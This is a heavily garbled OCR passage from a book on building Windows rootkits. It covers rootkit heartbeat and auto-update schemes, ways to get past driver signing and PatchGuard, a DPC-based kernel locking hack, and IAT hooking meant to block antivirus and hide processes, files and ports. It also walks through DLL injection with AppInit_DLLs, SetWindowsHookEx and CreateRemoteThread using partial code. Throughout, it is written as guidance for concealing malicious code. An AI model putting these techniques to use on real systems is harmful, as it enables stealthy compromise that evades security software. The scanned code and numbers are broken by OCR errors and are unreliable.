DBG_TRACE("storeTimeStampReg","timestamp written "); RegCloseKey(hKey); return; }/*end storeTimeStampReg()---------- -- ------ -- ----------- ------------------*/
The heartbeat server basically follows the inverse of the process. It reads the registry and decrypts the timestamp. If the timestamp is invalid or outside of the defined grace period, it increments a failure count. After the failure count reaches a critical value, the server will execute its contingency plans (whatever they happen to be).
If you wanted to take heartbeat communication to the next level of obscurity,
and produce even less forensic evidence, you could use a named mutex. In this scenario, the primary rootkit would take ownership of a named mutex upon loading. While this mutex is owned, the secondary rootkit knows that the primary rootkit is up and running. The only problem with this approach is lack of authentication. This is to say that there's nothing to prevent some other process from acquiring ownership and faking out the secondary rootkit.
Auto-Update
If you're in it for the long haul, you might want to design auto-update features
into your rootkit. This is another scenario where installing two separate rootkits can come in handy. In the event that the primary rootkit requires a patch, the secondary rootkit can perform the following actions:
224
Port I
1.
Halt and unload the primary rootkit. Update the primary rootkit binaries (i.e., the .sys driver). Restart the primary rootkit.
2. 3.
This necessitates that the primary rootkit is capable of being managed (unloaded, loaded, etc.). You could implement this sort management code yourself, or you could rely on the driver management framework provided by the Windows SCM. With stealth comes responsibility. If you're going to eschew the official system facilities to avoid leaving traces in the registry and the SCM database, then you'll have to write you own. It's the programmer's version of a BYOB.
"Start"=dword:eeeeeeee
This corresponds to the SERVICE_BOOT_START macro defined in winnt. h. You can obtain a list of core system binaries and boot drivers by enabling boot logging and then cross-referencing the boot log against what's listed in HKLM\SYSTEM\CurrentControlSet\Services. The files are listed according to their load order during startup, so all you really have to do is find the first entry that isn't a boot driver.
Port I
I 225
Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded Loaded
driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver driver
\SystemRoot\system32\ntoskrnl .exe \SystemRoot\system32\hal.dll \SystemRoot\system32\kdcom.dll \SystemRoot\system32\mcupdate_Genuinelntel.dll \SystemRoot\system32\PSHED.dll \SystemRoot\system32\BOOTVID .dll \SystemRoot\system32\CLFS.SYS \SystemRoot\system32\CI.dll \SystemRoot\system32\drivers\Wdf01eee.sys \SystemRoot\system32\drivers\WDFLDR.SYS \SystemRoot\system32\drivers\acpi.sys \SystemRoot\system32\drivers\WMILIB.SYS \SystemRoot\system32\drivers\msisadrv.sys \SystemRoot\system32\drivers\pci.sys \SystemRoot\System32\drivers\partmgr.sys \SystemRoot\system32\DRIVERS\compbatt.sys \SystemRoot\system32\DRIVERS\BATTC .SYS \SystemRoot\system32\drivers\volmgr.sys \SystemRoot\System32\drivers\volmgrx .sys \SystemRoot\system32\drivers\intelide.sys \SystemRoot\system32\drivers\PCIIDEX.SYS \SystemRoot\system32\DRIVERS \pcmcia.sys \SystemRoot\System32\drivers\mountmgr.sys \SystemRoot\system32\drivers\atapi.sys \SystemRoot\system32\drivers\ataport.SYS \SystemRoot\system32\drivers\fltmgr.sys \SystemRoot\system32\drivers\fileinfo.sys \SystemRoot\System32\Drivers\ksecdd.sys \SystemRoot\system32\drivers\ndis.sys \SystemRoot\system32\drivers\msrpc .sys \SystemRoot\system32\drivers\NETIO.SYS \SystemRoot\System32\drivers\tcpip.sys \SystemRoot\System32\drivers\fwpkclnt.sys \SystemRoot\System32\Drivers\Ntfs .sys \SystemRoot\system32\drivers\volsnap.sys \SystemRoot\System32\Drivers\spldr.sys \SystemRoot\System32\Drivers\mup.sys \SystemRoot\System32\drivers\ecache .sys \SystemRoot\System32\DRIVERS\fvevol.sys \SystemRoot\system32\drivers\disk.sys \SystemRoot\system32\drivers\CLASSPNP. SYS \SystemRoot\system32\DRIVERS\agp440 .sys \SystemRoot\system32\drivers\crcdisk.sys
If any of the boot drivers fail their initial signature check, Vista will refuse to start up. This hints at just how important boot drivers are, and how vital it is to get your rootkit code running as soon as possible. We'll see a graphic illustration of this later on in the book when we examine Vbookit.
Under the hood, win load . exe implements the driver signing checks for boot drivers. On the 64-bit version of Windows, ntoskrnl. exe uses routines
226
Part I
exported from ci. dll to take care of checking signatures for all ofthe other drivers. Events related to loading signed drivers are archived in the Code Integrity operational event log. This log can be examined with the Event Viewer using the following path: Application and Services Logs Operational
Microsoft does provide official channels to disable KMCS in an effort make life easier for developers. You can either attach a kernel debugger to a system or press the F8 button during startup. If you press F8, one of the bootstrap options is "Disable Driver Signature Enforcement." In the past, there was a bcdedi t . exe option to disable driver signing requirements (for Vista Beta 2 release), but that has since been removed. So just how does one deal with driver signing requirements? One way is simply to go out and buy a signing certificate. If you have the money and a front company, you can simply buy a certificate and distribute your rootkit as a signed driver. This is exactly the approach that Linchpin Labs took. In June of 2007, Linchpin released the Atsiv utility, which was essentially a signed driver that gave users the ability to load and unload unsigned drivers. The Atsiv driver was signed and could be loaded by Vista running on x64 hardware. The signing certificate was registered to a company (DENWP ATSIV INC) that was specifically created by people at Linchpin Labs for this purpose. Microsoft responded as you would expect them to. In August of 2007, they had their buddies over at VeriSign revoke the Atsiv certificate. Then they released an update for Windows Defender that allows the program to detect and remove the Atsiv driver. Another way to deal with driver signing requirements is to shift your attention from Windows to signed KMDs. There's bound to be at least one KMD that can be exploited. Examples of this have already cropped up in the public domain. In July of 2007, a Canadian college student named Alex Ionescu posted a tool called Purple Pill on his blog. The tool included a signed driver from ATI that could be dropped and exploited to perform arbitrary memory writes to kernel space, allowing unsigned drivers to be loaded. Several weeks later, perhaps with a little prodding from Microsoft, ATI patched the drivers to address this vulnerability.
Part I 1227
Aside
The intent behind these requirements is to associate a driver with a publisher (i.e., authentication). Previously, you could get your driver signed by passing the Windows Hardware Quality Labs (WHQL) Testing program. On June 30,2003, the author of a well-known Microsoft Press book on device drivers (Walter Oney) posted the following message on the microsoft. public. development.device.drivers Google group: "It appears to me that nearly everyone's experience with WHQL is so negative that most companies look for ways to avoid certification. The proliferation of unsigned drivers can be blamed in large part on that negative experience. Bugs that could be spotted by testing are going unfixed because the tests are too hard to run, or generate bogus failures, or generate failures that can't be tracked to specific driver behavior."
Aside
How long would it have taken ATI to patch this flaw had it not been brought to light? How many other signed drivers possess a flaw like this? Are these bugs really bugs? In a world where statesponsored hacking is becoming a reality, it's entirely plausible that a fully-functional hardware driver may intentionally be released
228
Port I
Every five to ten minutes, PatchGuard checks these components against known good copies or signatures. If, during one of these periodic checks, PatchGuard detects a modification, it issues a bug check with a stop code equal to exeeeeeH39 (CRITICAL_STRUCTURE_CORRUPTION) and the machine dies a fiery Viking death. Given that KMD code and PatchGuard code both execute in Ring 0, there's nothing to prevent KMD code from fiddling with PatchGuard (unless, of course, Microsoft takes a cue from Intel and moves beyond a two-ring privilege model). The kernel engineers at Microsoft are acutely aware of this fact and perform all sorts of programming acrobatics to obfuscate where the code resides, what it does, and the internal data structures that it manipulates. In other words, they can't keep you from modifying PatchGuard code so they're going to try like hell to hide it. Companies like Authentium and Symantec have announced that they've found methods to disable PatchGuard. Specific details available to the general
Port I 1229
public have also appeared in a series of three articles 19 published by the excellent online site Uniformed.org. Given this book's focus on IA-32 as the platform of choice, I will relegate details of the crack to the three articles referenced below. Inevitably this is a losing battle. If someone really wants to invest the time and resources to figure out how things work, they will. Microsoft is hoping to raise the bar high enough such that most engineers are discouraged from doing so.
4.8 Synchronization
Rootkits must often manipulate data structures in kernel space that other OS components will also touch. To protect against becoming conspicuous (i.e., bug checks) the rootkit must take steps to ensure that it has mutually exclusive access to these data structures. Windows has its own internal synchronization primitives that it uses to this end. The problem is that they aren't exported, making it problematic for us to use the official channels to get something all to ourselves. Likewise, we could define our own spinlocks and mutexes within the rootkit. The roadblock in this case is that our primitives are unknown to the rest of the operating system. This leaves us to employ somewhat less direct means to get exclusive access.
19 "Bypassing PatchGuard on Windows x64," Skape and SkyWing, December I, 2005. ersion 2," SkyWing, December 2006. "Subverting PatchGuard V "PatchGuard Reloaded: A Brief Analysis of PatchGuard V ersion 3," SkyWing, September 2007.
230
Port I
What happens next depends upon the IRQL at which the processor is currently running relative to the IRQL of the ISR. Assume the following notation: IRQL(CPU) IRQL(ISR)
~ ~
the IRQL at which the processor is currently executing the IRQL assigned to the interrupt handler
code currently executing on the processor is paused; IRQL of the processor is raised to that of the ISR; ISR is executed; IRQL of the processor is lowered to its original value; code that was paused is allowed to continue executing;
==
ELSE IF ( IRQL(ISR)
{
IRQL(CPU) )
The ISR must wait until the code running with the same IRQL is done; ELSE IF ( IRQL(ISR) < IRQL(CPU) )
{
The ISR must wait until all interrupts with a higher IRQL have been serviced;
}
Note that this basic algorithm accommodates interrupts occurring on top of other interrupts. Which is to say that, at any point, an ISR can be paused if an interrupt arrives that has a higher IRQL than the current one being serviced (see Figure 4-17).
Figure 41]
DIRQL
DISPATCH_LEVEL
PASSIVE_LEVEL
[tj,t 4 1=DISPATCH_LEVEL ISR time interval [t 2,t 31=DIRQL ISR t ime interval
Part I
I 231
This basic scheme ensures that interrupts with higher IRQLs have priority. When a processor is running at a given IRQL, interrupts with an IRQL less than or equal to the processor's are masked off. However, a thread running at a given IRQL can be interrupted to execute instructions running at a higher IRQL.
> Note:
Try not to get IRQLs confused with thread scheduling and thread priorities, whi ch dictate how the processor normally splits up its time between contending paths of execution. Like a surprise visit by a head of state, interrupts are exceptional events that demand special attention . The processor literally puts its thread processi ng on hold until all outstanding interrupts have been handled . When this happens, thread priority becomes m eaningl ess and IRQL is all that matters . If a processor is executing code at an IRQL above PASSIVE_LEVEL , then the thread that the processo r is executing can only be preempted by a thread possessi ng a higher IRQL. Thi s explains how IRQL can be used as a synchronization mechani sm on single -processor machines.
Each IRQL is mapped to a specific integer value. However, the exact mapping varies based upon the processor being used. The following macro definitions, located in wdm. h, specify the IRQL-to-integer mapping for the IA-32 processorfamily.
IIIRQL definitions f rom wdm.h #define #define #define #define PASSIVE_LEVEL LOW_LEVEL APC_LEVEL DISPATCH_LEVEL
o o
1
2
II II II II
Passive release level Lowest interrupt level APC interrupt level Dispatcher level
II II II II II II
Timer used for profiling Interval clock 1 level, Not used on x86 Interval clock 2 level Interprocessor interrupt level Power failure level Highest interrupt level
User-mode programs execute PASSIVE_LEVEL, as do common KMD routines (e.g., DriverEntry() , Unload() , most IRP dispatch routines, etc.). The documentation that ships with the WDK indicates the IRQL required in order for ou certain driver routines to be called. Y may notice there's a gap between DISPATCH_LEVEL and PROFILE_LEVEL. This gap is for arbitrary hardware device IRQLs, known as DIRQLs.
232
Po rt I
Windows schedules all threads to run at IRQLs below DISPATCH_LEVEL. The operating system's thread scheduler runs at an IRQL of DISPATCH_ LEVEL. This is important because it means that a thread running at or above an IRQL of DISPATCH_LEVEL cannot be preempted because the thread scheduler itself must wait to run. This is one way for threads to gain mutually exclusive access to a resource on a single-processor system. Multiprocessor systems are more subtle because IRQL is processor-specific. A given thread, accessing some shared resource, may be able to ward off other threads on a given processor by executing at or above DISPATCH_LEVEL. However, there's nothing to prevent another thread on another processor from concurrently accessing the shared resource. In this type of multiprocessor scenario, normally a synchronization primitive like a spinlock might be used to control who gets sole access. Unfortunately, as explained initially, this isn't possible because we don't have direct access to the synchronization objects used by Windows and, likewise, Windows doesn't know about our primitives. What do we do? One clever solution, provided by Hoglund and Butler,2o is simply to raise the IRQL of all processors to DISPATCH_LEVEL. As long as you can control the code that's executed by each processor at this IRQL, you can acquire a certain degree of exclusive access to a shared resource. For example, you could conceivably set things up so that one processor runs the code that accesses the shared resource and all the other processors execute an empty loop. One might see this as sort of a parody of a spinlock. There are a couple of caveats to this approach. The first caveat is you'll need to be judicious what you do while executing at the DISPATCH_LEVEL IRQL. In particular, the processor cannot service page faults when running at this IRQL. This means that the corresponding KMD code must be running in non paged memory and all of the data that it accesses must also reside in nonpaged memory. To do otherwise would be to invite a bug check. The second caveat is that the machine's processors will still service interrupts assigned to an IRQL above DISPATCH_LEVEL. This isn't such a big deal, however, because such interrupts almost always correspond to hardware-specific events that have nothing to do with manipulating the system data structures that our rootkit code will be accessing. In the words of Hoglund and Butler, this solution offers a form of synchronization that is "relatively safe" (not foolprooO.
20 Greg Hoglund and James Butler, Rootkits: Subverting the Windows Kernel, Addison-Wesley, 2006.
Port I 1233
Aside
The most direct way to determine the number of processors installed on a machine is to perform a system reset and boot into the BIOS setup program. If you can't afford to reboot your machine (perhaps you're in a production environment), you can always use the Intel processor identification tool (http://support.intel.com/ support/processors/tools/pi u/). If you don't want to install software, you can always run the following WMI script:
strComputer = n. n Set objl<l1IService = Getobject(nwinmgmts:"n & strComputer & n\root\CIM\I2n) Set colltems = objl<l1IService. ExecQuery( nSELEa * FRCJo1 Win32_Processor n) For Each objItem in col Items n & objItem.Name Wscript.Echo nPhysical CPU: Wscript.Echo n Logical CPU(s): n & objItem.NumberOfLogicalProcessors Wscript.Echo n Core(s): n &objItem.NumberOfCores Wscript.Echo Next
234
Port I
service routine). In essence, the service routine is delaying certain things to be executed later at a lower priority, when the processor isn't so busy. No doubt you've seen this type of thing in the post office, where the postal workers behind the counter tell the current customer to step aside to fill out a change-of-address form while they service the next customer. Another aspect of DPCs is that you can designate which processor your DPC runs on. This feature is intended to resolve synchronization problems that might occur when two processors are scheduled to run the same DPC concurrently.
If you read back through Hoglund's and Butler's synchronization hack, you'll notice that we need to find a way to raise the IRQL of each processor to DISPATCH_LEVEL. This is why DPCs are valuable in this instance. DPCs give us a convenient way to target a specific processor and have that processor run code at the necessary IRQL.
Implementation
Now we'll see how to implement our ad-hoc mutual exclusion scheme using nothing but IRQLs and DPCs. We'll use it several times later on in the book, so it is worth walking through the code to see how things work. The basic sequence of events is as follows:
1.
We raise the IRQL of the current processor to DISPATCH_LEVEL. We create and queue DPCs to raise the IRQL of the other processors. The current thread accesses a shared resource, and the DPCs spin in empty while loops. We signal to the DPCs that they can stop spinning and exit. We lower the IRQL of the current processor back to its original level.
2. 3. 4. 5.
Port I 1235
> No'e:
The RaiseIRQL () and LowerIRQL () routines are responsible for raising and lowering the IRQL of the current thread (the thread that will ultimately access the shared reasource). These two routines rely on kernel APls to do most ofthe lifting (KeRaiseIrqlO and KeLowerIrqlO ).
KIRQL RaiseIRQL()
{
KIRQL curr; KIRQL prev; curr = KeGetCurrentIrql(); prev = curr; if(curr < DISPATCH_LEVEL)
{
KeRaiseIrql(DISPATCH_LEVEL,&prev); retu rn (prev) ; }/*end RaiseIRQL()- ----------------------------------------------------- --- */ void LowerIRQL(KIRQL prev)
{
The other two routines, AcquireLock() and ReleaseLock() , create and decommission the DPCs that raise the other processors to the DISPATCH_LEVEL IRQL. The AcquireLock() routine begins by checking to make sure that the IRQL of the current thread has been set to DISPATCH_LEVEL (in other words, it's ensuring that RaiseIRQLO has been called). Next, this routine invokes atomic operations that initialize the global variables that will be used to manage the synchronization process. The LockAcquired variable is a flag that's set when the current thread is done accessing the shared resource (this is somewhat misleading because you'd think that it would be set just before the shared resource is to be accessed). The nCPUs Locked variable indicates how many of the DPCs have been invoked. After initializing the synchronization global variables, AcquireLock() allocates an array of DPC objects, one for each processor. Using this array, this routine initializes each DPC object, associates it with the lockRoutine() function, then inserts the DPC object into the DPC queue so that the dispatcher can load and execute the corresponding DPC. The routine spins in an empty loop until all of the DPCs have begun executing.
236
Part I
PKDPC AcquireLock()
{
nopj
}
The lockRoutine() function, which is the software payload executed by each DPC, uses an atomic operation to increase the nCPUsLocked global variable by 1. Then the routine spins until the LockAcquired flag is set. This is the key to granting mutually exclusive access. While one processor runs the code that accesses the shared resource (whatever that resource may be), all the other processors are spinning in empty loops.
Port I 1237
As mentioned earlier, the LockAcquired flag is set after the main thread has accessed the shared resource. It's not so much a signal to begin as it is a signal to end. Once the DPC has been released from its empty while loop, it decrements the nCPUsLocked variable and fades away into the ether.
void lockRoutine IN IN IN IN
) {
oop;
The ReleaseLock() routine is invoked once the shared resource has been modified and the invoking thread no longer requires exclusive access. This routine sets the LockAcquired flag so that the DPCs can stop spinning, and then waits for all of them to complete their execution paths and return (it will know this has happened once the nCPUsLocked global variable is zero).
NTSTATUS Releaselock(PVOID dpcptr)
{
Iithis will cause all DPCs to exit their while loops InterlockedIncrement(&lockAcquired); Iispin until all CPUs have been restored to old IRQls InterlockedCompareExchange(&ncPUSlocked,e,e); while(nCPUslocked != e)
{
{
oop;
InterlockedCompareExchange(&ncPUslocked,e,e);
2381 Port I
if(dpcptr!=NULL)
{
I can sympathize if none of this is intuitive on the first pass. I can tell you that it wasn't for me. To help get the gist of what I've described, read the summary that follows and take a look at Figure 4-18. Once you digested it, go back over the code for a second pass. Hopefully by then things will be clear. To summarize the basic sequence of events in Figure 4-18: Code running on one of the processors (Core 1 in this example) raises its own IRQL to preclude thread scheduling on its own processor. Next, by calling AcquireLock ( ), the thread running on Core 1 creates a set of DPCs, where each DPC targets one of the remaining processors (Core 2 through Core 4). These DPCs raise the IRQL of each processor, increment the nCPUsLocked global variable, and then spin in while loops, giving the thread on Core 1 the opportunity to safely access a shared resource. When nCPUsLocked is equal to 3, the thread on Core 1 (which has been waiting in a loop for nCPUsLocked to be 3) will know that the coast is clear and that it can start to manipulate the shared resource. When the thread on Core 1 is done, it invokes ReleaseLockO , which sets the LockAcquired global variable. Each of the looping DPCs notices that this flag has been set and breaks out its loops. The DPCs then each decrement the nCPUsLocked global variable. When this global variable is zero, the ReleaseLock() function will know that the DPCs have returned and exit itself. Then the code running on Core 1 can lower its IRQL and our synchronization campaign officially comes to a close. One final word of warning: While mutual exclusive access is maintained in this manner, the entire system essentially grinds to a screeching halt. The other processors spin away in tight little empty loops, doing nothing, while you do whatever it is you need to do with the shared resource. In the interest of performance, it's a good idea for you to keep things short and sweet so that you don't have to keep everyone waiting too long, so to speak.
Part I 1239
Core 1
Core 2
Core 3
Core 4
nCPUsLocked=2
nCPUslocked=3
/0l
Spin
V
nCPUslocked=9 nCPUsLocked=l nCPUslocked=2 -----.. lockAcquired==l
Figure 4-18
4.9 Commentary
We're officially done with foundation material and can now start exploring methods used to undermine the operating system. The chronological evolution of tactics and countertactics lends itself to topics being presented in a certain order. In accordance with this approach, I will start by discussing a well-known ploy known as hooking, then move on to run-time patching, followed by kernel object manipulation, and then filter drivers. These are all variations of the same basic theme: altering the contents of memory at run time. In each chapter you'll see how the underlying technique works and how countermeasures against the technique lead naturally to material in the chapter that follows. Hooking leads to run-time patching. Run-time patching, in turn, leads to kernel object manipulation.
240
Part I
Po rt II System
Modification
Chapter 5 Chapter 6 Chapter 7 Chapter 8 Hooking Call Tables Patching System Routines Altering Kernel Objects Deploying Filter Drivers
241
Chapter 5
91910019, 9ll9llll, 9ll9llll, 9ll19100, 9ll919ll, 9ll91001, 9ll19100, 9ll100ll, 001_, 910000ll, 91001900, OOll9191
We first encountered hooking during our investigation of 8086/88 programming in Chapter 2, where we hooked the real-mode IVT with TSR programs. In the protected-mode environment of Windows there are several variations of this technique, though they all adhere to the same basic algorithm. The general idea behind hooking involves performing the following series of steps:
1.
Identify a call table. Save an existing entry in the table. Swap in a new address to replace the existing entry. Restore the old entry when you're done.
2. 3. 4.
Though the last step is something that's easy to dismiss, it will make life easier for you during development and ensure machine stability in a production environment. After all, if your goal is to be inconspicuous, you should always leave things as you found them (if possible).
243
A call table is just an array where each element of the array stores the address of a routine. Call tables exist both in user space and kernel space; assuming different forms depending on the call table's basic role in the grand scheme of things (see Table 5-1).
Table 5-1
Location In Memory Call Tables
The Import Address Table (IAT) is the principal call table of user-space modules. Most executables have one or more IATs embedded in their file structures that are used to store the addresses of library routines that they import from DLLs. We'll examine IATs in more detail shortly. We've already been introduced to the kernel space call tables. The one thing to remember is that a subset of these tables (e.g., the GDT, the IDT, and MSRs) will exist as multiple instances on a machine with more than one processor. Because each processor has its own system registers (in particular, the GDTR, IDTR, and the IA32_SYSENTER_EIP), it also has its own system structures. This will significantly impact the kernel-mode hooking code that we write. By replacing a call table entry, we can control the path of program execution and reroute it to the function of our choice. Once our hook routine has seized the execution path, it can: Block calls made by certain apps (i.e., antivirus or antispyware). Replace the original routine entirely. Monitor the system by intercepting input parameters. Filter output parameters.
We could mix all of these features into a hook routine and they would look something like:
NTSTATUS hookFunction(TYPEl paraml, . . , TYPEN paramN)
{
244
Part II
In general, if the hook routine invokes the original function, blocking and monitoring will occur before the function call. Filtering output parameters will occur after the reinvocation. In addition, while blocking and monitoring are fairly passive techniques that don't require much in terms of development effort, filtering output parameters requires taking a more active role. This extra effort is offset by the payoff: The ability to deceive other system components. The following system objects are common targets for concealment: Processes Drivers Files and directories Registry keys Network ports
Hooking, as a subversion tactic, has been around since the early days of computing. Hence, solid countermeasures have been developed. Nevertheless, there are steps that a rootkit designer can take to obstruct hooking countermeasures (counter-countermeasures, if you will). In the race between White Hats and Black Hats, usually it comes down to who gets there first and how deeply in the system they can entrench themselves.
1.
2.
Access the address space of the process. Locate the IAT tables in its memory image.
Port II 1245
3.
In this section we'll look at each of these operations in turn. Before we begin, though, I'll provide a brief digression into the subject of DLLs so that you can see exactly how they're related to IATs.
DLL Basics
A dynamic-link library (DLL) is a binary that exposes functions and variables so that they can be accessed by other modules. Formally, the routines and data that a DLL exposes to the outside world are said to be "exported." DLLs allow programs to use memory more efficiently by placing common routines in a shared module. The resulting savings in memory space is compounded by the fact that the code that makes up a DLL exists as a single instance in physical memory. While each process importing a DLL gets its own copy of the DL~s data, the linear address range allocated for DLL code in each process maps to the same region of physical memory. This is a feature supported by the operating system. For the sake of illustration, the following is a minimal DLL implemented in C.
#include<windows.h> #include<stdio.h> BOOL __stdcall DllMain
(
fprintf(fptr,"Process pid=(%d) loading DLL\n",GetCurrentProcessld(j II Return FALSE to fail DLL load breakj case DLL_THREAD_ATTACH :
246 I Po rt II
break;
fclose(fptr); return(TRUE); II Successful DLL_PROCESS_ATTACH. }/*end DllMain()------------------------------------ ---------- -------------*1 __declspec(dllexport) void printMsg(char *str)
{
printf("%s", str);
The DllMain() function is an optional entry point. It's invoked when a process loads or unloads a DLL. It also gets called when a process creates a new thread and when the thread exits normally. This explains the four integer values (see winnt . h) that the fdwReason parameter can assume:
#define #define #define #define DLL_PROCESS_DETACH DLL_PROCESS_ATTACH DLL_THREAD_ATTACH DLL_THREAD_DETACH
e
1 2 3
1* 1* 1* 1*
When the system calls the DllMain() function with fdwReason set to DLL_PROCESS_ATTACH, the function returns TRUE if it succeeds or FALSE if initialization fails. When the system calls the DllMain() function with fdwReason set to a value other than DLL_PROCESS_ATTACH, the return value is ignored. The _declspec keyword is a modifier that, in the case of the printMsg() function, specifies the dllexport storage class attribute. This allows the DLL to export the routine and make it visible to other modules that want to call it. This modifier can also be used to export variables. As an alternative to _declspec(dllexport), you can use a DEF (.def) file to identify exported routines and data. This is just a text file containing export declarations. I won't be using DEF files in this book.
Port II 1247
Notice how the program declares the exported DLL routine as it would any other locally defined routine, without any sort of special syntactic fanfare. This is because all of the tweaking goes on in the build settings. In Visual Studio Express, you'll need to click on the Project menu and select the Properties submenu. This will cause the Properties window to appear. In the tree view on the left-hand side of the screen, select the Linker node under the Configuration Properties tree. Under the Linker node are two child nodes, the General node and the Input node (see Figure 5-1), that will require adjusting. Associated with the General node is a field named Additional Library Directories. Under the Input node is a field named Additional Dependencies. Using these two fields, you'll need to specify the LIB files of interest and the directories where they're located.
248 1 ParI II
.configuration: !Adfve(Oebug)
4
..
I flatform: IActive{Win32}
..
II
CQnfigur,tionManagtr...
Output File: Show Progress Version Enable inCfementallinking Suppr~s Startup Banne:r Ignore Import lIbrary Register Output Per user RHhredlon
Additlonalllbra'Y Olfectone:s
Iln~
Debugging
Cle
.. lmker General
Input
No No No
-CW~\d.foult
MamfestFile
user.CHANGEM\DesktopIDLL SKE
I ihrllrY
nfln,.nriH1ri~
Figure 5-1
HINSTANCE hinstLib; printMsgptr printMsg; hinstLib = LoadLibraryA( "Skel. DLL"); if (hinstLib != NULL)
{
One advantage of run-time dynamic linking is that it allows us to recover gracefully if a DLL cannot be found. In the previous code we could very easily fail over to alternative facilities by inserting an else clause. What we've learned from this whole rigmarole is that IATs exist to support load-time dynamic linking, and that they're an artifact of the build cycle via
Port II 1249
the linker. If load-time dynamic linking isn't utilized by an application, there's no reason to populate IATs. Hence, our ability to hook user-mode modules successfully depends upon those modules using load-time dynamic linking. If an application uses run-time dynamic linking, you're out of luck.
Inieding a DLL
In order to manipulate an IAT, we must have access to the address space of the application to which it belongs. Probably the easiest way to do this is through DLL injection. There are three DLL injection methods that we discuss in this section: The Applnit_DLLs registry value The 5etWindowsHookEx() API call Using remote threads
should be set to exeeeeeeel to enable this "feature." This technique relies heavily on the default behavior of the user32. dll DLL. When this DLL is loaded by a new process (i.e., during the DLL_PROCE55-PTTACH event), user32. dll will call LoadLibrary() to load all DLLs specified by Applnit_DLLs. In other words, user32.dll has the capacity to auto-load a bunch of other arbitrary DLLs when it itself gets loaded. This is an effective approach because most applications import user32. dll. However, at the same time this is not a precise weapon (carpet bombing would probably be a better analogy). The Applnit_DLLs key value will affect every application launched after it has been changed. Applications that were launched before Applnit_DLLs was changed will be unaffected. Any code that you'd like your DLLs to execute (e.g., hook the IAT) should be placed inside of DllMain() because this is the routine that will be called when user32.dll invokes LoadLibraryO.
250
Pc rl II
>
Nole:
c: \windows\system32\
f i l terDll. dll) that filters the loading of other DLLs based on the host application. Rather than load the rootkit D LLs for every app lication that loads user32 . dll, the filter D LL wou ld examine each application and load the rootkit DLLs only for a subset of targeted applications (like Outlook. exe or Iexplorer. exe) .
//event that will invoke hook routine //exported Dll routine to call when event occurs //handle to DLL containing hook procedure //specific thread, or (9) all threads on the desktop
If a call to this function succeeds, it returns a handle to the registered hook procedure; otherwise, it returns NULL. Before the code that calls this function terminates, it must invoke UnhookWindowsHookEx() to release system resources associated with the hook.
There are a number of different types of events that can be hooked. Programmatically, they are defined as integer macros in winuser . h.
#define #define #define #define #define #define #define #define #define #define #define #define #define #define WH_MSGFILTER WH_JaJRNALRECORD WH_JaJRNALPLAYBACK WH_KEYBOARD WH_GETMESSAGE WH_CALLWNDPROC WH_CBT WH_SYSMSGFILTER WH_MOUSE
WH-'-WU~ARE
(-1) 9 1 2 3 4 5 6 7 B 9 19 11 12
Through the last parameter of the SetWindowsHookEx() routine, you can configure the hook so that it is invoked by a specific thread or (if dwThreadld is set to zero) by all threads in the current desktop. Targeting a specific thread is a dubious proposition, given that a user could easily shut down an
PorI II 1251
application and start a new instance without warning. Hence, as with the previous technique, this is not necessarily a precise tool. The following code illustrates how SetWindowsHookEx() would be invoked in practice.
HOOKPROC procPointer; static HMDOULE dllHandle; static HHOOK procHandle; dllHandle : LoadLibraryA(" c: \\windows \ \ testDll. dll") ; if(dllHandle::NULL){return;} //there's a little name decoration that's occurred below procPointer : (HOOKPROC)GetProcAddress(dllHandle, "?MouseProc@l'!!lVGJHIJ@Z"); if(procPointer::NULL){return;} procHandle : SetWindowsHookEx(WH_MOUSE,procPointer,dllHandle,e); if(procHandle::NULL){return;}
It doesn't really matter what type of event you hook, as long as it's an event that's likely to occur. The important point is that the DLL is loaded into the memory space of a target module and can access its TAT.
_declspec(dllexport) _LRESULT CALLBACK MouseProc
(
{
/*
Put code that hooks IAT here */ //Don't really need to process event, just pass it on down the //event-hook chain return(CallNextHookEx(NULL, nCode, wParam, lParam;
}
252
Part II
creating this argument as a variable in the target process. We essentially have to remotely allocate some storage space in the target process and initialize it. Then, we introduce a thread in the target process and this thread injects a DLL into the process. Thus, to summarize, the attack proceeds as follows (see Figure 5-2):
1.
The loader dynamically acquires the address of LoadLibrary() in kerne132. dll. The loader remotely allocates a variable in the address space of the target process. The loader copies the name of the DLL into this variable. The loader creates a thread in the target process. The remote thread calls LoadLibrary() , loading the DLL we specified in the variable. The DLL that gets loaded is the agent that actually does the hooking.
Target Process Loader Process
OpenProcess() GeUloduleHandle( ) GetProCAddress() virtualAllocEx () Wri teProcess~lemory() CreateRemoteThread ()
2.
3. 4. 5. 6.
baseAddress (256(
Figure 5-2
Po rl II
I 253
The hardest part is the setup, which goes something like this:
//get handle to proeess-------------------------------------------------proeHandle = OpenProcess
(
if(proeHandle==NULL){ return; //get handle to kernel32.dll--------------------------------------------dllHandle = GetModuleHandleA("Kerne132"); if(dllHandle==NULL){ return; } //get address of loadLibrary()------------------------------------------loadLibraryAddress = GetProcAddress
(
dllHandle, "LoadLibraryA"
);
if(loadLibraryAddress==NULL){ return; } //Create argument to LoadLibraryA in remote proeess---------------------baseAddress = VirtualAlloeEx procHandle, NULL, 2S6, MEM_COMMIT : MEM_RESERVE, PAGE_REAO./IHTE
);
//HANDLE hProcess //LPVOID lpAddress //SIZE_T dwSize //DWORD flAlloeationType //DWORD flProteet
//HANDLE hProeess //LPVOID lpBaseAddress //LPCVOID lpBuffer //SIZE_T nSize //SIZE_T* lpNumberDfBytesWritten
if(isValid==9){ return; } //Invoke DLL in remote thread- -- --- ----- ---------------------- - ---------threadHandle = CreateRemoteThread proeHandle, NULL,
9,
loadLibraryAddress, baseAddress,
9,
//HANDLE hProeess //LPSECURITY_ATTRlBUTES lpThreadAttributes //SIZE_T dwStaekSize //LPTHREAD_START_ROUTINE lpStartAddress //LPVOID lpParameter //DWORD dwCreationFlags
2541 Port II
NULL
);
//LPOWORD IpThreadld
>
Probably the easiest way to understand the basic chain of events is pictorially (see Figure 5-3). The climax of the sequence occurs when we call CreateRemoteThread() . Most of the staging that gets done, programmatically speaking, is aimed at providing the necessary arguments to this function call.
Create Remote Thread
VirtualAllocEx( )
Figure 5-3
